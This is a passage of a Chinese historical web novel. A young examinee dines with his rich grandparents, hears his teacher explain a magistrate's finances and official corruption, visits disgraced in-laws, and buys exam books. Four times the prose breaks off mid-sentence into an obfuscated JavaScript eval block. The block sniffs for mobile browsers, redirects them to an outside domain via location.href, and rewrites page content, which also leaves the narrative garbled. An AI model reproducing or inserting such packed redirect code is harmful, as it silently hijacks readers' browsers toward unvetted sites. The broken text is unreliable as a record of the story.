秦先生摆摆手，“哪里哪里，这条路我走了这么多年，早就已经熟之又熟，谈何辛苦啊！堵在这个大门口，不像样子，咱们还是进去吧。” 王元浩说一声“请”，亲自领着秦先生和段之缙进了正门。 王家果然是商贾巨富，府内就是一个大型园林，小桥流水、粼粼怪石，样样都有。水池中是千金之鱼，湖中庭阁高耸入云，不知如何建造。回廊上下人们一个个垂首走动，却不闻一丝声音。 秦先生和王老爷走在前边，太太的亲生母亲白夫人却跟在段之缙身边，眼巴巴地瞧着他，一下也不错眼。打量了好一阵，她才笑着开口，“好人物，嘴还长得像小施，真是体面。” “太太谬赞了。” 白夫人和这个名义上的外孙说了几句话，她问得也心不在焉，听段之缙的答话也是心不在焉，兜兜转转终于转到了她的心肝儿女儿身上，还不待开口，眼眶子先红了。 “你……你母亲和你父亲如何？” “相安无事。” 段之缙也没有什么必要去说谎，王虞和段成平事儿在王家已经是人尽皆知，得知了女儿和女婿能用“相安无事”来形容，白夫人心中的大石头也算落了地，可她不一会儿又提起了心，“你说的都是真的？你母亲果然能和你父亲相安无事？不是她吩咐了你来糊弄外祖家吧？”白夫人本应是万事不用愁的贵妇，在这个仙境似的地方养尊处优，哪怕年近花甲也该精神健朗，可自从十三年前那封信从京城寄回来，她总是日夜垂泪，生怕哪一天就收到了女儿的死讯，十几年间没有一日能放下，反叫她形容憔悴，面上俱是悲苦。 做母亲的都是不容易，段之缙瞧着白夫人心惊胆战的模样心里也难受，又想起了那日路遇流民时，第一个出来喊叫的母亲，她的孩子已经凉透了，可她还是抱着，权当孩子仍然活着。 “怎么敢搪塞太太？母亲基本不与父亲碰面，吃穿用度都从自己的嫁妆里出，是家里最好的。孙儿的福气大，能跟着母亲过活，也不是其他的兄弟姐妹能够比拟的。” 白夫人仔细地看了段之缙的神情，估摸着他也没说谎话，这才大大地松下了一口气，又问道：“小施也还好吧？幸亏她为虞儿生下了你，否则没个儿子，在那样的宅院里，连个指望都没有。” “姨娘身子也好。” 白夫人这才放下了心，仍是想再问问别的，前头的王老爷却已经和秦先生寒暄完了，正招呼众人去正堂用餐。白夫人歉疚一笑，“瞧我，光顾着和你说话，你们一路风风雨雨地过来，想必早就饿了，咱们在饭桌上再说。” 众人一起进了正堂，在八仙桌上坐定，王老爷的眼睛这才稍稍从秦先生身上移开，转向段之缙，满面红光、精神矍铄道：“你母亲一向可好？” 段之缙垂首答道：“母亲与父亲相安无事，一切都好。”他语罢，仍等着这个名义上的外祖来问询王虞的情况，谁知王老爷只是笑着点了点头，便起身净手，亲自为秦先生倒酒。 “先生是北人，想来喝不惯我们水乡的酒，这是千里迢迢从山东运来的，上好的秋月白，先生尝尝？” 秦先生满饮一杯，满意地咂咂嘴，酒香气还在口中蔓延。 “好酒！至少是窖了五年。”秦先生抚掌，王元浩立刻又倒了一杯，自得道：“先生果然是会喝酒的人，这一杯秋月白，在窖子里封了六年六个月，就为今年等先生来尝呢。” “不敢当不敢当，秋月白是山东名酒，能尝一口已经是万幸，何况今年山东多地大旱，朝廷已经下了禁酒令，不许酿造酒水，能尝这一口老酒，也算是得天之幸。” 他们两个寒暄得热闹，段之缙却觉得愈发奇怪。 王老爷六十多岁的人了，跟着教书匠赔笑脸，秦先生也是一脸坦然，这是士农工商能解释的吗？商人地位最是下贱实属正常，可没道理王老爷这样的富甲淮宁的人还得跟着秦先生客客气气的。又想想秦先生日常挂在嘴边的“安平知县，这个人我了解”便觉他身份不简单。再说了，一般的教书匠，如何连兵部尚书是谁都知道？ 段之缙正瞧着他们你推我我让你地劝酒，门外忽起环佩轻响，两列着藕荷色罗衫的侍女捧着鎏金云纹托盘鱼贯而入，踩着水磨青砖，竟似春蚕食叶般细密无声，桌上很快就摆满了各色珍馐，连摆放都是错落有致，别有一番美感。 头一道冷盘是水晶冻雕的亭台楼阁，太湖银鱼在琼脂间若隐若现，缀着胭脂鹅脯裁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932125|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成的重瓣牡丹。三寸见方的青瓷碟里码着"白玉为簪"——取初春藕尖最嫩处，裹着松仁与瑶柱丝，在冰鉴里沁得脆生生。 若说这些菜不算什么，那道“烟雨三叠”可真是了不得了。三层鎏金暖锅分别煨着莼菜鳕鱼羹、糟香鹌鹑与酒酿圆子，侍女执银匙轻搅，竟当真旋出薄雾缭绕的奇景。 那一盏一杯的还没看清呢，白夫人便忍不住问段之缙，“你母亲如今用饭如何？她能吃得惯京里的菜系吗？” 段之缙愣怔了一下，“孙儿也不知，想来母亲到京二十余年，应当是习惯了。况且母亲有自己的小厨房，连着孙儿也都是跟着母亲吃呢。” 眼见着白母的神情又颓丧下去，她抿着唇儿，赤红的口脂被挤压得有些颜色不均，“你母亲幼时最爱吃鲜莲子，我们做父母的都爱重她，今天你看的那个池子，一直都是满池的荷花，等着荷花开过，莲子长成，我就带着他们兄弟姐妹几个划船入莲池，亲手采下来剥给她吃。后来，她出嫁了，又去了京里，我和她的兄弟姐妹们，也就都没有再如果莲池。” “好了！”正和秦先生推杯换盏的王元浩不耐烦地嗔一句，“这样好的日子，你非要说这些不高兴的事儿，何苦呢？况且秦先生和缙儿都在，叫大家心里也不是滋味。出嫁的女子，丈夫好好坏坏都是常有的事，你何必如此耿耿于怀，我们也为她做得够多了，也从来不欠她什么。赶紧吃饭吧！” 白夫人闻言，赶紧用丝绸帕子压了压眼睛，不叫盈满了眼眶的泪水涌出，挂着一个愁苦的笑对着段之缙说道：“瞧我，光顾着你母亲，忘了招待你，叫你听我的抱怨。” “太太殷殷爱子之情，就如母亲和姨娘对待孙儿一样，怎么能说是抱怨呢？况且今日知道了母亲爱吃鲜莲子，等着考完试回京，也带着母亲去湖边采莲子，孝顺母亲。” 白夫人感动非常，连连称是，又亲手用公筷为段之缙夹了一块儿梅子肉，笑道：“这是知你要来，特意叫人做得‘蟾宫折挂’，用二十年陈梅子卤雕琢的蜜饯拼盘，叫你吃了我这一块儿梅子，必得蟾宫折桂！” 段之缙起身用小碗接了，恭敬道：“多谢太太。” 秦先生听着喜笑颜开，对着王元浩夸赞道：“你这个外孙子不简单啊，日后必然有大出息。” 王老爷这会儿才算好好看了一眼段之缙，亲手为他倒了一杯秋月白，“你先生不是一般人，他既然如此说了，你日后必然有大造化，恐外祖家还得靠你提携呢。” “不敢不敢……” 这一番推杯换盏，一顿饭从中午吃到了日暮，中间又见了两个从铺子上赶回来的舅舅，陪着喝了一遭，等到席面终于散去，除了明日要读书的段之缙外，其他的人都是酒气熏熏。 然而无论是热闹非常的酒席，还是故作慈爱的外祖父，都不能叫段之缙升起来一丝的亲近感，只觉得家宴不像家宴，比在段府中更为难受，反而是一直断断续续地问询王虞近况的白夫人，叫段之缙生出孺慕之情，可能也是他自幼失母的缘由。 19.第十九章 县令其人 应酬了一日，晚上段之缙挑着灯，给远在京城的太太、姨娘去了信，先说自己一路上顺风顺水，已经到了安平县在王家住下，又说外祖父和外祖母身子康健、精神焕发，只是惦念着太太，望她多多来信。然后另起一封，写给了沈白蘋，问起了她的近况，太太有无刁难于她或是姨娘…… 总之零零碎碎写了一堆，也不怕麻烦，当天便叫人寄了出去，盼着她们能赶紧给自己回信，这赶着子时之前睡下，第二天仍是在没有一丝亮光的时刻起来温书，习那经史子集和八股文字。 王家的条件不是京城段家能比拟的，连上课读书的地方都大不一样，设在了秦先生的一水亭中，虽说是叫“亭”，实际上是湖中的一个大型建筑，不知是何方的能工巧匠，叫湖心的楼里一点儿潮湿的感觉都没有，只觉江南水波微漾，涟漪喜人，湖上的风景也是秀美如画，仿佛天外之境。 “学生倒不知先生是何方的神圣，外祖家如此尊重。”段之缙与秦慎之之间的情感，说是师生，实际上与父子也差不多，还像是共同奋斗的朋友，因而段之缙并不客套犹疑，有了疑问便直接询问。 秦先生这回却卖起了关子，哼笑一声，“打听起来你先生的事情了？现在可不能告诉你，若是告诉你了，你出去宣扬，叫大家都知道你是我的学生，结果两个月后的县试不中，岂不是污了我的名声？那谁还敢请我授课？比不得你，有个好太太锦衣玉食地供养，先生就指望领束脩养活家人呢！” “那若县试过了，能叫我知道先生的身份吗？” “你若县试过了，叫县太爷满意，定叫你知道先生的真实身份！”秦先生信誓旦旦，又突然想起来什么，“本来今日想为你讲讲诗词，只不过说起了知县，今日先给你讲讲知县吧。” “安平知县名讳为李显光，崇德十三年二甲的进士，来安平做知县也不过三年，可自他来了，安平景象可谓焕然一新。” “先是清理冤狱，将衙门里堆积已久的案件大大小小地查了个遍，许一切有冤情之人上堂鸣冤，重审旧案。然后惩治屡次敲诈勒索商户的税吏，还了安平商户一个清净。” 段之缙听着不禁开口道：“想来此知县该是有雷霆手段，又为铁面无私之人。” 秦先生不知为何哈哈大笑，“谬矣谬矣！非但没长个包公脸，反而和光同尘。你要知道，如今的天子，最好的一个字便是‘仁’，治下要无一不仁，便是官员侵吞了国库的银两，又或者设置了苛捐杂税，他都舍不得杀呢，何况要求官员？最不喜的就是铁面无私，对着违法的士绅喊打喊杀的清官。” “这是为何？既然爱好名声，更应该爱重清官谏臣呀？”段之缙听此一言万分不解，因而直言相问，却引得秦先生冷哼一声，不知想起了什么。 “人家说你是沽名钓誉，独你一人是清官忠臣，其他人都是奸臣酷吏不成？” 冷嘲热讽完这一句，秦先生便再也不说话了，拿起烟斗狠狠吸了一口，然后长长地吐出来，手都在颤抖，等着烟丝叫他抽完了，只剩下一小把灰烬，这才重新启唇。 “你以为长着一张嘴就能说话吗？其实你平日里所见的人，他们都不会说话，或者说，他们说的话都无人去听。” 段之缙摸不着头脑，只蹙着眉回了一句，“先生在说笑吗？” “说笑？你以为黔首百姓在当官的眼里和一般的猪狗有什么区别？他们不会写字，就不能在青史上留下自己的声音，任你待他们再好也没用，苛待了那些笔杆子，可是要留下千古骂名的。因而，待百姓好，不如待官吏好啊。” 段之缙沉默，秦先生也不指望着他说些什么，从烟袋子掏出来烟丝填在还烫手的烟斗里，重新点燃。 “可怜见的，你还是个小孩子，什么也不懂呢。你父亲行为不检，已经没有升官的希望了，能保住现在的官职都还是因为这个官职是朝廷收了银子卖给他的。只能叫你先生我来教导教导你了。” 秦先生不是那种自怨自艾的人，他精神强大得很，并不沉溺在不愉快的回忆中，因而也不像何其芳大人那样，回乡之后抑郁难忍，直到一命呜呼。他刁得很，怨天怨地怨皇上，就是不怨自己，也不会整日想着“怎么还不死，到了今天这个地步，活着还有什么意思？”，反而整天盼着山陵崩，好上来一个有为之君。也许是他的朱子教训读得没有何其芳大人好，可现在这个世道，那些个宠臣爱臣，哪一个是朱子之道读得好的？全是狗屁。 “我之前总是觉得，教给你那些钻营攀附的东西，会不会叫你心里瞧不起先生，或者干脆教偏了你，叫你真去钻营攀附了。先生担心啊，所以只教给你‘直’、‘正’，就算是没有什么大作为，也叫你做一个清清白白的人，日后高中也做一个清清白白的官。可是你那天给先生论的一番奸臣和忠臣的道理，叫我明白，你大概是生来就要做官的，这个道理，我八年前也没悟透，偏叫你一个小孩儿说透了。现在的李显光，他该是为官的好手了，也只能说在此方行政清明不招惹嫉恨罢了，若想着再进一步，却是三个字——难难难！” 段之缙听着先生的夸赞，没有一丝自得，他的三言两语，尽是悲凉和激愤，秦先生身上，到底发生了什么？ “多说无益，不如跟你讲讲李显光这个人。”秦先生感慨完了，不做停留，立刻开讲。 段之缙也赶紧从刚才的情绪中挣脱出来，听着先生讲课。 “你要过考试，学问是不必说了，安平多年的考题你母亲也找来，你也见过了，自己说说想法吧。” “学生以为，知县大人该是主张无为而治之人，恐还是重农轻商之人。” “这是为何？” “先生请看题，这三年间三次县试，每次县试四场考试，共几十道题目，考过《礼记》中的‘并官省事，静事意役，上下用心，惟农是务。’，《孟子》的‘农为天下之本，务而工贾皆其末也。’以及《论语》中的‘足食，足兵，民信之矣。’等等，第一则是想要裁减冗官杂部，其他的多是发展农业生产，重本抑末。况且……先生所授的课业，也一直都在强调重本抑末，只是学生有一事不明。” 秦先生浅嘬了一口茶水，点头让他直言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14936055|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “学生在家中时，曾听奶娘说过外祖家和前任的县令交好，又见安平县内商贾如云，外祖也不见被官吏勒逼的愁色，并且知县也惩治了逼捐的税吏，为何出题时还要如此呢？” 秦先生瞅瞅段之缙蹙眉难解的样子，笑道：“你心里烦气一个人，可也没恨到想他死的程度，他又能给你带来巨大的利益，你会将他置之死地吗？” 段之缙代入了一下，知县是当官的，对于安平县来说就是最大的长官，所具有的权势地位是自己所不能及的，便是前世的自己，有钱到了一定的境界，不喜欢的人来送钱，自己也会置之不理。因而段之缙深思熟虑一番，回道：“先生，知县为一方父母之官，商贾不过是最末之民，这些利益他大可以不要。就算是要，也完全可以通过苛捐杂税，或者税吏勒掯，何必要改善安平的从商环境，使商业如此兴旺？” “你知道一个知县，年俸有多少吗？” “学生不知。” “知县，正七品的官员，每年四十五两俸银，四十五斛的禄米。” 四十五两，其实说少也不少，能叫一家人过上不错的日子了，又有四十五斛的米，折算出来，至少有六千七百五十斤重，二十口人吃一年足矣，对于为官清正者，这些钱粮难道不是绰绰有余吗？因而段之缙冷笑，“看来安平县的知县也是不知足的人了。又想要青名，又想要金银，真是委屈了他学的圣贤道理，反给商户行了便利。” “非也非也……你是不当家不知柴米油盐贵啊！你可知，这四十五两的银子和禄米要用来做什么？” “难道不是供他全家的吃喝？” 秦先生抽一口烟嘴，讥笑道：“要是这些银子能只供给官员及其家眷的吃喝，世上也不会有那么多的贪官污吏，正税之外也不会有那么多的苛捐杂税。有些时候，不是官员想贪，而是他们不得不贪。不贪，整个衙门都就地解散了。” “先生何出此言？” “知县一年四十五两的俸禄和四十五斛的禄米，养着他自己和整个衙门的一家人。书吏，朝廷是一分一文也不会给的。差役，朝廷一年也就给六七两的工食银，也不够一家人嚼用。再有办理公务的笔墨纸砚和差旅钱，全都要从知县的俸禄里出，哪一样是便宜的东西？再有和上下级交际，请客吃饭，现在的席面，像个样子的都得十两银子。你自己说说，四十五两的银子，够不够咱们知县吃喝的。” 段之缙哑口无言，怪不得贪官多清官少，这要是做了清官，纯属贴钱上班！多少寒门士子，深夜苦读，就算是圣贤书再刻骨铭心，它终究是不能当饭吃啊！ “因而，咱们这个县令，虽说是心里厌恶商贾，但还是改善了他们的生存环境。一则是国法如此，纵然商贾下贱，但是律令已经规定了应当如何管理，断没有那些税吏私下勒索的道理。二则，想必你也清楚了。光你外祖一人每年要送给安平知县两千两白银，送给德平知府白银五千两，即便为了钱，他们也得捏着鼻子认下。” 段之缙已经无话可说了，制度如此，现下除了认命也别无选择。 20.第二十章 上街买书 上一回儿在一水亭里和秦先生一块说了县令的事情，又上了没几天的课，便到了除夕，王家人连带着段之缙和秦先生，乘船到镜湖上摆宴，推杯换盏，热闹非常，歌舞一直持续到了深夜，也不知道是什么时辰了。 “咚……咚……” 一声声钟声骤然从远方传来，震得人心里发麻。 “好孩子，你别害怕，这是城外妙音寺的钟声，新旧交替之际和佛诞日才会敲响。”白夫人朝着有些懵怔的段之缙招手，保养得当的手心抚着他的头发，口中哄幼儿一般安慰起来，“天出惊、地出惊、老君封过的法师来出惊……好了，好了，不怕了……” 这一番举动叫与宴的众人都愣住了，反应过来时口中的酒水都喷出，一个个掩面大笑。 “好小子，白老太太还把你当成小娃娃哄着呢！”秦先生本就因饮酒而一片酡红的面庞愈发红，笑得上气不接下气。自然了，一个瘦瘦小小的老贵妇，伸着手安抚一个将近六尺的大小伙，本就十分好笑。 “叫秦先生看笑话了，拙荆素来慈爱小辈，实在是把缙儿放在心尖上，倒比自己亲亲的孙子都要亲呢！”王老爷再为秦先生添上了酒，拿着段之缙开始打趣，两个人找到了“共同话题”，绕着段之缙七拐八拐地说。 这一夜，真可谓宾主尽欢，连段之缙都喝到晕头转向，被人扶着回了自己的房间，久违地睡了个昏天黑地，日上三竿了才起来，携带着年礼去拜访沈白蘋的舅家。 他出去走亲戚，秦先生跟着也不合适，因而只在门口看着他上马车，又不放心地理理徒儿有些皱了的褂子，叮嘱道：“去了杨家，只许聊没有用的，他们贪污的事情一句都不要提起，也不要听信他们说的话。把接济给他们的钱送出去，然后回来读书。” 许是杨家是沈白蘋的外祖家，段之缙对着他们有亲戚滤镜，再加上葛礼是个活畜生，因而闹得葛礼所参奏之人，段之缙总觉得无辜，所以听得秦先生这番言论，他大为不解。 “先生这是何意？若不是葛礼诬告，何至于此呢？” 秦先生哂笑，“谁跟你说的是诬告？葛礼可不是诬告。杨家老大任江宁织造期间，他们家可都富得流油了，黄金铺地都不可惜，要不是孝淑夫人孟氏的缘故，先皇和当今谁都忍不下他，孝淑夫人一过世，谁还能忍他？自然了，葛礼也不是什么好东西，纯粹是也盯上了江宁织造的职务，想要把自家的子弟塞过去。” 段之缙心中一团乱麻，秦先生看他脸色不对，又生怕这个心思灵巧的人把灵巧的心思使偏了，对着他的妻子沈白蘋也有了偏见，连忙拧了一下他的耳朵，嗔道：“乱想什么！我说这些可不是叫你对着你妻子生邪气的！她外祖家贪污，她也难知情，即便是知情，她也不能阻止。再不济，先生说句不好听的，你外祖家……”他说到这里，声音突然变小，回头看看站得远远的下人，心虚一般凑到段之缙耳边说：“你外祖王家，也不是全然正派的商贾人家……你父亲他也……” 剩下的话不好听，秦先生闷在了嘴里，和段之缙对视一眼，尴尬一笑。 “先生，这对子骂父……” “好你个小混蛋！” 秦先生失笑，一巴掌贴上他的脑袋，“别磨磨蹭蹭了，快去快回吧。” 段之缙对着先生拱手施礼，踩着小凳子上了马车，前往沈白蘋的舅家拜年。 他们家的生计说是困难，倒也不至于像底层贫苦百姓一般需要亲自下地耕种，也不需要挑着担子走街串巷地做些小买卖。皇帝终究还是顾念着孝淑夫人奶了先皇一顿，没有赶尽杀绝，杨家故土淮宁隋阳仍留有一小部分田舍，供他们生活。他们自己不满足现状，变卖了部分家产，到了更为繁华的安平定居。 今日段之缙带来了大笔的银票，杨家人虽说不好意思，但还是三推四让地收下了，杨家老二杨孝思的脸都是赤红的。 “沾了蘋儿的光，得了一个好外甥女婿，我们家里败落了也不嫌弃，还愿意登门来送年礼。” 段之缙半个屁股坐在凳子上，宽慰这个无所适从的汉子，“二舅舅这说的是哪里的话？我们做晚辈的，孝敬舅舅本就是人伦天理，何况蘋儿幼时住在舅家，不知吃用了多少的东西。” “蘋儿……她还好吗？有孩子了没有？” 大舅母上前来添水的时候，听见他们说起了蘋儿，语里带着心焦，打听起了沈白蘋的现状。“蘋儿甚好，太太和老爷都慈爱。孩子倒是尚不急。” “哎，大丈夫成家立业，你现在也是十八的年纪了，我像你这个时候，都已经有了你大堂姐了。你们小夫妻趁着年轻多生养才是……” 几个长辈凑在一起嘀嘀咕咕，左右逃不过去“生儿育女”四个字，一家人日子虽然比不上从前，但是和和美美，亲密无间，只是段之缙还记着秦先生的嘱咐，也不敢久留，天色还早着便起身告辞。 临走时瞧着依依不舍的众人，段之缙犹豫再三，还是一把扯住了二舅的袖子，“舅舅，当年贪污之事究竟是为何？” 杨孝思的神情难以言明，一阵青一阵白，最后哀叹一声，“有些时候，你便是不想贪也得贪啊！只可怜我的大哥，留下你大舅母他们，一个人走黄泉路，保下了我们一家人。” 段之缙松开了手，秦先生所言“不要听信他们的话”犹在耳畔回响，可是他感性上如何也不敢相信，这样的一家人，真的是穷凶极恶、横征暴敛之人。 “回去吧，回去读书，你是蘋儿一生所系，爱惜你的羽毛，不要再来我们这种罪臣之家，”杨孝思推着外甥女婿上车，看着车轮滚动，留下一道道延伸的车辙。 他们这一家人，恐怕这辈子都要困死在此处了，但是段之缙却还有大好的未来，和杨家扯上关系，实属有害无益。 正月初一去杨家的事情已经成为了过往，可那句“不想贪也得贪”仍时时在环绕。 他真的敢相信，这些贪官污吏、青史罪人也有苦衷吗？ 两辈子的年纪加起来都要古稀了，可段之缙毕竟没有在官场里混过，上辈子的经验搬也搬不到古代来，因此心中总是困惑。白日里还好，秦先生可不惯着他， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943630|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稍有走神便要用烟斗子烫手，晚上他却辗转反侧怎么也睡不着，直到正月十四这天下课时分。 秦先生总算是赶在县试之前给这个麻烦的学生讲完了所有的课程，自己也大大地卸下一口气。精神放松，连烟都抽得少了，想想明日便是上元佳节，夜晚街道上张灯结彩，各式的花灯犹如繁星低垂，就想叫孩子也出去放松放松，明日自己也另有打算。 “缙儿，明日上元节，先生有事情出去，你自己去书肆逛一逛，问问老板这些应试的士子都看什么书，你也买着看看。另有望星河边的望星楼，是本地第一大酒楼，全天下的菜系都会做，也都做的出彩，你带着王章、冯胜儿两个人去吧。”秦先生一边收拾自己的书一边嘱咐，两个小书童上来拿东西，前脚都出了门，他又停下，“去了之后报上为师的名字，定在穿月堂。” 段之缙在后边遥遥地应下了，当晚也没那么晚睡，早早躺在了床上。 第二日收拾一番出门，王家安排的马车已经停在了后门口，贴身伺候他的小厮琼香叽里呱啦地说话。 “秦先生昨日来说，叫二爷出来买书，我们老爷喜得很连夜叫人出去打听，这才知道士子们少去最大的那家书肆，去的最勤的是蒋育成老爷的书肆。” “这是为何？”蒋育成，这个名字已经是段之缙第二回听说了。 琼香一笑，“二爷不知道，蒋育成先生是进士老爷，经常受学政大人的邀请一起阅卷的，因而县试、府试乃至院试，他都很有一套，也为此写过不少的书。” 段之缙点点头，“原来如此，真是多谢外祖了。” 马车行了不多久就停在了一个不大的书肆门口，店面也不大，其貌不扬，门大开着，里边也不见多少人。 “二爷，今天是上元节，大家也都忙着过节，这才显得不热闹，平时人可多了!”琼香见书肆显得有些“萧条”，许是害怕段之缙怀疑自己，还不等他出声问讯便先开口解释。段之缙倒没觉得如何，跨进高高的门槛，一股厚重的墨香气扑面而来。 四书五经、时文策论、名家注疏，皆按类别摆放得一丝不苟，掌柜的正在敲打着算盘，店里的伙计正扫着地，看见有客人来了连忙招呼。 “您要买点什么？” 段之缙打量几眼，回道：“我是从外地回安平赶考的，不知本地的士子都看什么书，还请小哥为我推荐一番吧。” “那您可真是来对地方了，小人先问问您是要考哪一场？” 段之缙回道：“是今年的县试下场。” 伙计沉吟一番，“我们这儿县试的书还真不是很多，那些四书五经的注疏想必您也都看过了，小人就不介绍了。《艺海元珠》您看过没，这本书收录了多地案首的文章，还有我们家主人亲自点评的内容。《游艺塾文规》，是我们主人自己出的题，自己写的时文，安平县随便一个读书的都看过。《谈文录》是教人写时文的，卖的最好……” 小伙计如数家珍、侃侃而谈，段之缙也听得津津有味，兴致大发，看来古人也有自己的“五三”啊！ 21.第二十一章 初见郑崑瑛 《谈文录》可以说是科考必备书目，秦先生在教自己时文的时候，亦是用的此书，伙计说的那些蒋育成先生所著，自己也全都托母亲找来拜读过了，现在也不需要。 “伙计，你说的这些书，一月前我就看过了，不知还有没有别的？” 那伙计苦思一番，一时半会儿还真想不到别的，提溜着扫帚带着段之缙去找掌柜说明情况。 掌柜从帐本子里拔出来眼睛，瞟一眼段之缙道：“您不是从外地来赶考的吗？怎么我们蒋育成先生的书都读了？按理说，那些书都是最近两年新出的，应当还没有传到省外去才是。” 他打量了一番段之缙的穿着，锦缎长袍上滚着银丝，外边罩着内里是银狐皮的大氅，一眼便能看出是富家子弟。掌柜见了无数的败家子，常有言道“寒窗苦读终成器，纨绔奢靡自废材”，因而已经对段之缙产生了一些偏见，撇撇嘴笑道：“那我劝您还是再看看这些书吧，我们蒋育成先生所著，一般人没三四个月可是攻不透的。” 这话真是够无礼的，客人都说了已经看过，便是已经看过，何必再问？掌柜的能够如此，也不过是仗着他那当过进士的主人家。 琼香眼睛一瞪，就要把王老爷救过蒋育成的事情吵出来，叫掌柜的放尊重些，却被段之缙笑着拦下。 他见这样的事情太多了，没必要和这些把自己的经验当成全世界的人计较。 “不才家中有些银钱，父母对此也很上心，早早就买了这些书叫我学习。掌柜的还是与再我推荐两本吧。” 开书肆到底是要做生意的，有人执意要问，掌柜的自然要答，张口道：“上年腊月刚刚刊印的《百文汇编》，这是蒋先生和几位名士一块儿写的书，汇集了德平府各县出过的考题，重新作文供各位学子参考。不知您有无读过？” 这的确是没有读过的新书，也算是不枉此行，段之缙语说要买，那掌柜的却犹豫了。 “不是我们不做生意，这个书，蒋先生已经吩咐过了，因为到年关了，刊印的数量太少，只卖抄本不卖原本。” 这话段之缙可听不懂了，要赚钱，你该多印才对。 还不等得掌柜的解释，琼香便凑到了段之缙耳边细语。 “二爷不知道，这个蒋育成先生是个大好人呢！多接济穷苦的士子。雕版刻印是要耗费功夫和银两的，再加上纸墨，这个成本可不低，穷书生怎么能承受的了？反而叫他们抄书的成本低些，蒋先生每次印完书之后，卖一部分，剩下的一部分供学子抄，把抄出来的书和原本一起带回，不仅能拿些工钱补贴家用，还不花一分钱看了书。现在该是抄书的士子还没有抄完，店里没有抄本。” 原来如此！怪不得蒋先生的名声能响彻江南，果然有他的道理。 段之缙拱手施礼，“掌柜，若是有了抄本，您一定要先为我留下来，出几倍的价钱都行。” “哎呦，您说这话……我们这儿预定都是有顺序的，不能说您出价高就……” “那我前边还有多少人？” 掌柜的拿出来记事本子查了查，“也不多，三四个人，大概五天之后您再来拿。或者你加点钱，我们也能直接给您送到府上。” 五日之后自己也不一定能出来，段之缙想想还是叫他送货上门，留下了外祖家的地址。那掌柜一看地址却有些慌了神，“您和王老爷？” 琼香早就忍不住了，不等得段之缙阻止便吆喝出声，“这是我们老爷的外孙子！” “哎呀哎呀……您看这！”掌柜听他是王老爷的外孙，脸色变得古怪，紧跟着陪起笑来，“您要是早说，我把原本卖给您不就成了？不……送给您！王老爷可是我们蒋先生的救命恩人，您看看这事儿闹的，全都是我没提前问清楚。” 段之缙失笑，“掌柜，您也是按照蒋先生吩咐做事，何必因我是谁的外孙而破例呢？” 掌柜连连摆手，“这可不行，这显得我们待客不周了。” “那这样，我也带一本回去抄写，几日后拿回来原本和抄本如何？您若是再不许，我就五日之后再来了。” 段之缙这些时日里还有别的事情做，离着考试也还有小一个月，因而也没什么必要插队。掌柜想了一会儿也是这个道理，答应下来。 段之缙又和掌柜浅聊了几句，走入层层书架去看这里的书。 四书五经的原本、注解、水利用书、钱粮……各种各样的书排列在架子上，错落有致，走到最尽头，出现了一些话本，恩怨情仇、儿女侠客，令人沉迷其中。 要是屡试不第，出来做个写话本的也不错。 之缙拿着《忠烈侠义传》看的津津有味，这种话本子也不敢拿回王府，今天看一点就算了。最后却真的是入了迷，两腿一盘直接坐到了地上看，也不嫌脏了他一身的绫罗绸缎。 正看得起兴，一个经过的士子许是没注意书架底下坐了一个人，被段之缙直接绊了个踉跄，不仅他自己，连段之缙也下了一跳。 “兄台无事吧？”段之缙连忙去扶。 “无事无事……”那士子借着段之缙的手撑起来身子，穿着一身泛白的青色棉袍，整个人都空荡荡的。 段之缙又帮着他捡起来书籍，这才发现他掉的书是《百文汇编》的原本和抄本，而且还是两本抄本。 “兄台是来还书的？”段之缙问道。 “正是正是。”他回答的时候还十分拘谨，拿过段之缙递过来的书紧紧搂住。 掌柜也听到了刚才的声音，瞧见这两个人在寒暄忙走了过来。 “您二位这是？” “哦，刚才不小心绊倒了这位兄台。” 掌柜摸摸自己的胡子，“原来如此，正巧了，郑小哥多抄写了一本书，您要是愿意就直接买这本。不是我帮着谁，像郑小哥这样抄写干净，字迹端正的士子可不多见呀，您要是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951752|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买了这本可是买着便宜了。” 